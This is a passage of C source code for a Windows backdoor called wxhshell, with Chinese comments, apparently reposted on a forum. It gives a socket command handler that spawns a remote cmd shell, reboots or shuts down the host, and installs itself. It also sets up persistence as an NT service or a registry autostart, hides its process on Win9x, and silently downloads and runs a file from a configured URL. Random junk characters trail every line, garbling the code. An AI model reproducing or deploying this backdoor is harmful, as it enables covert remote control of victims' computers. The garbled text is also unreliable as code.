  case '?': { kRBO]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =;b3i1'U  
    break; qd#7A ksm  
  } 3JkdPh  
  // 安装 a/1;|1a.  
  case 'i': { 5Dz$_2oM3  
    if(Install()) 9cU9'r# h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V*@Y9G  
    else '3WtpsKA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Pz\K3-  
    break; Id>4fF:o  
    } t8rFn  
  // 卸载 T#*H  
  case 'r': { 22U`1AD3U  
    if(Uninstall()) S6 a\KtVa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5,g +OY=\  
    else v\@RwtP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PLMC<4$s  
    break; Ki7t?4YE  
    } ,sL%Ykr  
  // 显示 wxhshell 所在路径 U V*Ruy-  
  case 'p': { 7 ]ysvSM  
    char svExeFile[MAX_PATH]; KB(W'M_D\  
    strcpy(svExeFile,"\n\r"); :Jv5Flxl  
      strcat(svExeFile,ExeFile); /> /e  
        send(wsh,svExeFile,strlen(svExeFile),0); ~(kqq#=s  
    break; nJ xO.wWE  
    } ]dI^ S  
  // 重启 &>E gKL  
  case 'b': { d!YP{y P  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \IImxkE  
    if(Boot(REBOOT)) v+W'0ymbnV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N'R^gL  
    else { +*?l">?|F  
    closesocket(wsh); 5g/,VMe  
    ExitThread(0); f5FEHyj|  
    } GZNN2 '  
    break; 2A[hMbL  
    } 6$'*MpYF4  
  // 关机 5)eM0,:  
  case 'd': { v$Hz)J.01  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zyUS$g]&  
    if(Boot(SHUTDOWN)) g=Vu'p 3u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $Th)z}A}EA  
    else { $T^q>v2u  
    closesocket(wsh); &ah%^Z4um  
    ExitThread(0); oW 6Hufu+o  
    } w K#*|  
    break; yb ?Pyq.D  
    } Hz2Sx1.i  
  // 获取shell V|$PO Qa3  
  case 's': { p?,<{mAe  
    CmdShell(wsh); "wTCO1  
    closesocket(wsh); o5NmNOXm  
    ExitThread(0); ^jwzCo-  
    break; J:Qx5;b;  
  } / Xb4'Qj  
  // 退出 }&e HU  
  case 'x': { C49\'1\6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X.k8w\~  
    CloseIt(wsh); V<jj'dZfW  
    break; }6/M5zF3  
    } H>+])~#  
  // 离开 fe98 Y-e  
  case 'q': { PQ[?zNrSV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); X )tH23  
    closesocket(wsh); h72/03!  
    WSACleanup(); 5~@-LXqL  
    exit(1); aaT3-][  
    break; cK u[ 4D{  
        } e&d$kUJrq  
  } \GxqE8  
  } #]tDxZ] 6  
]0ErT9  
  // 提示信息 #?>)5C\Hqy  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]Z8u0YtM)  
} 4^l9d  
  } 3zD#V3 =  
GyN|beou  
  return; c]aU}[s1  
} >Wt@O\k  
9$ ;5J  
// shell模块句柄 -oyA5Y x0  
int CmdShell(SOCKET sock) rSJ!vQo Cb  
{ &l1t5 !  
STARTUPINFO si; fI<LxU_n:  
ZeroMemory(&si,sizeof(si)); O8A1200  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oMj"l#a*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $) "\N  
PROCESS_INFORMATION ProcessInfo; RBn/7  
char cmdline[]="cmd"; e,_Sj(R8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0lg'QG>  
  return 0; (4/"uj5  
} $Z#~wsw  
*u"%hXR  
// 自身启动模式 8:V,>PH  
int StartFromService(void) _uMG?Sbx  
{ ISs&1`Y  
typedef struct if|5v^/  
{ 9=MNuV9/s  
  DWORD ExitStatus; }_zN%Tf~  
  DWORD PebBaseAddress; -@"3`uv"  
  DWORD AffinityMask; [+dCA  
  DWORD BasePriority; O@a OKk  
  ULONG UniqueProcessId; ~Dq-q6-@t  
  ULONG InheritedFromUniqueProcessId; |7c],SHm  
}   PROCESS_BASIC_INFORMATION; -EP1Rl`\  
z@~H{glo  
PROCNTQSIP NtQueryInformationProcess; _.; PLq~0  
Yp;Z+!!UZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Yu_*P-Ja6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J4::.r  
y,x 2f%x  
  HANDLE             hProcess; MLHCBRi  
  PROCESS_BASIC_INFORMATION pbi; Sc>mw   
K $- *  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); IeYNTk &<  
  if(NULL == hInst ) return 0; e&VC }%m  
zl :by?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6LCtWX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p7Wt(A  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }vZf&ib-   
-J+1V{  
  if (!NtQueryInformationProcess) return 0; q=5aHH% |  
+\Jo^\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); it\$Pih]  
  if(!hProcess) return 0; `D[O\ VE  
IdAh)#) 7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yO%^[c?  
?m]vk|>  
  CloseHandle(hProcess); JT0j2_*Rr  
XYWyxx5`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %eDSo9Y  
if(hProcess==NULL) return 0; z Fm`e:td  
V_J0I*Qa4  
HMODULE hMod; &!X<F,  
char procName[255]; _F6<ba}o3  
unsigned long cbNeeded; 1!MJ+?Jl  
D=z~]a31!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ip{R'HG/  
k+ t(u]  
  CloseHandle(hProcess); j;`Q82V\  
Hvk~BP' m  
if(strstr(procName,"services")) return 1; // 以服务启动 /ZV2f3;t  
yHw @Z  
  return 0; // 注册表启动 m)p|NdTZc8  
} D}y W:Pi'  
3xs<w7  
// 主模块 ({t^/b*8  
int StartWxhshell(LPSTR lpCmdLine) +=E\sEe  
{ vK)'3%  
  SOCKET wsl; Zo&i0%S\E  
BOOL val=TRUE; yk?bz  
  int port=0; qG;tD>jy  
  struct sockaddr_in door; ZcXAqep8'  
,:(s=J N+  
  if(wscfg.ws_autoins) Install(); N=1ue`i  
ZEI)U, I.  
port=atoi(lpCmdLine); ~@c<5 -`{  
(7G4v  
if(port<=0) port=wscfg.ws_port; s oY\6mHio  
'/8/M{`s  
  WSADATA data; hxL?6mhY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HfSx*@\s  
b=lJ`|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #[=kQ&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R*:$^v@4  
  door.sin_family = AF_INET; VNWB$mM.2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~ q-Z-MA  
  door.sin_port = htons(port); C7{VByxJ  
qF~9:`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Mn ,hmIz  
closesocket(wsl); <)T| HKx  
return 1; k^%=\c  
} LhLAQ2~  
; H ;h[  
  if(listen(wsl,2) == INVALID_SOCKET) { I9qZE=i  
closesocket(wsl); _rYW|*cIF  
return 1; h-ii-c?R@0  
} (%L /|F_  
  Wxhshell(wsl); 8C3oi&av/{  
  WSACleanup(); -yqgs>R(d  
A3/[9}(U  
return 0; \bdKLcKI,  
*`+zf7-f  
} 7e+C5W*9b  
o^2MfFS  
// 以NT服务方式启动 ZXb|3|D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) x[{\Aw>$.  
{ : b`N(]  
DWORD   status = 0; &q<k0_5Q  
  DWORD   specificError = 0xfffffff; GLO3v. n;  
-b^dK)wR~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; es6YxMg  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {V>F69IU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &233QRYM  
  serviceStatus.dwWin32ExitCode     = 0; qa^cJ1@  
  serviceStatus.dwServiceSpecificExitCode = 0; Kc\8GkdB  
  serviceStatus.dwCheckPoint       = 0; nIg 88*6b,  
  serviceStatus.dwWaitHint       = 0; +w]#26`d  
Cik1~5iF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); X,w X)9]J  
  if (hServiceStatusHandle==0) return; }BC%(ZH6  
*w@ 1@6?j  
status = GetLastError(); ;B 8Q,.t>x  
  if (status!=NO_ERROR) aH. "| *.  
{ ]?(kaNQ "D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v1{j1~ZR  
    serviceStatus.dwCheckPoint       = 0; 6Pl|FI JF  
    serviceStatus.dwWaitHint       = 0; VVSt,/SO  
    serviceStatus.dwWin32ExitCode     = status; flPS+  
    serviceStatus.dwServiceSpecificExitCode = specificError; hYzP6?K"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >Gpq{Ph[  
    return; 4q]6[/  
  } -/?)0E  
gNW+Dq|X%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^ELZ35=qZ  
  serviceStatus.dwCheckPoint       = 0; C,+  
  serviceStatus.dwWaitHint       = 0; 5vLXMdN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;'{7wr|9  
} Zm0VaOT$I  
23r(4  
// 处理NT服务事件,比如:启动、停止 qj _0 td$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 'zm5wqrkAd  
{ >gp53\  
switch(fdwControl) v)O0i2  
{ 3/]1m9x  
case SERVICE_CONTROL_STOP: E$ \l57  
  serviceStatus.dwWin32ExitCode = 0; s\ C ,5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; NC~?4F[  
  serviceStatus.dwCheckPoint   = 0; =i  vlS  
  serviceStatus.dwWaitHint     = 0; B<EqzP*#  
  {  ]+Whv%M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -*mbalU,J  
  } F3(Sb M-  
  return; ) Z3KO  
case SERVICE_CONTROL_PAUSE: H]tD~KM<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Rr [_t FM  
  break; ~B{08%|oK  
case SERVICE_CONTROL_CONTINUE: 7<WUj K|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2J t{oh|  
  break; ;l!<A  
case SERVICE_CONTROL_INTERROGATE: 3H!]X M  
  break; i_N8)Z;r  
}; CsZm8oL$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Mbxl{M >  
} d;dT4vx$[M  
eQuw uT  
// 标准应用程序主函数 S'HA]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4k^P1  
{ [w<_Wj  
0qNk.1pv  
// 获取操作系统版本 M#4;y,n<k  
OsIsNt=GetOsVer(); w? _8OJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); w =F9>  
8gNTW7W/  
  // 从命令行安装 YT8q0BR]  
  if(strpbrk(lpCmdLine,"iI")) Install(); :N<Qk  
_fk}d[q0  
  // 下载执行文件 Pi"?l[T0  
if(wscfg.ws_downexe) { 8lx}0U  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6V$ )ym*F  
  WinExec(wscfg.ws_filenam,SW_HIDE); UY9*)pEE  
} [c=W p  
c!\T 0XtT  
if(!OsIsNt) { 3?j: M]fR  
// 如果时win9x,隐藏进程并且设置为注册表启动 a%c <3'  
HideProc(); m^XO77"  
StartWxhshell(lpCmdLine); yn!;Z ._  
} #+D][LH4  
else k -jFT3b$  
  if(StartFromService()) S6M7^_B4F  
  // 以服务方式启动 ^&&Wv'7XQ  
  StartServiceCtrlDispatcher(DispatchTable); yL asoh  
else bxYSZCo*  
  // 普通方式启动 Ry}4MEq]  
  StartWxhshell(lpCmdLine); 2fky z  
4RDY_HgF6  
return 0; *-=/"m  
}
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只看该作者 1 发表于: 2006-10-10
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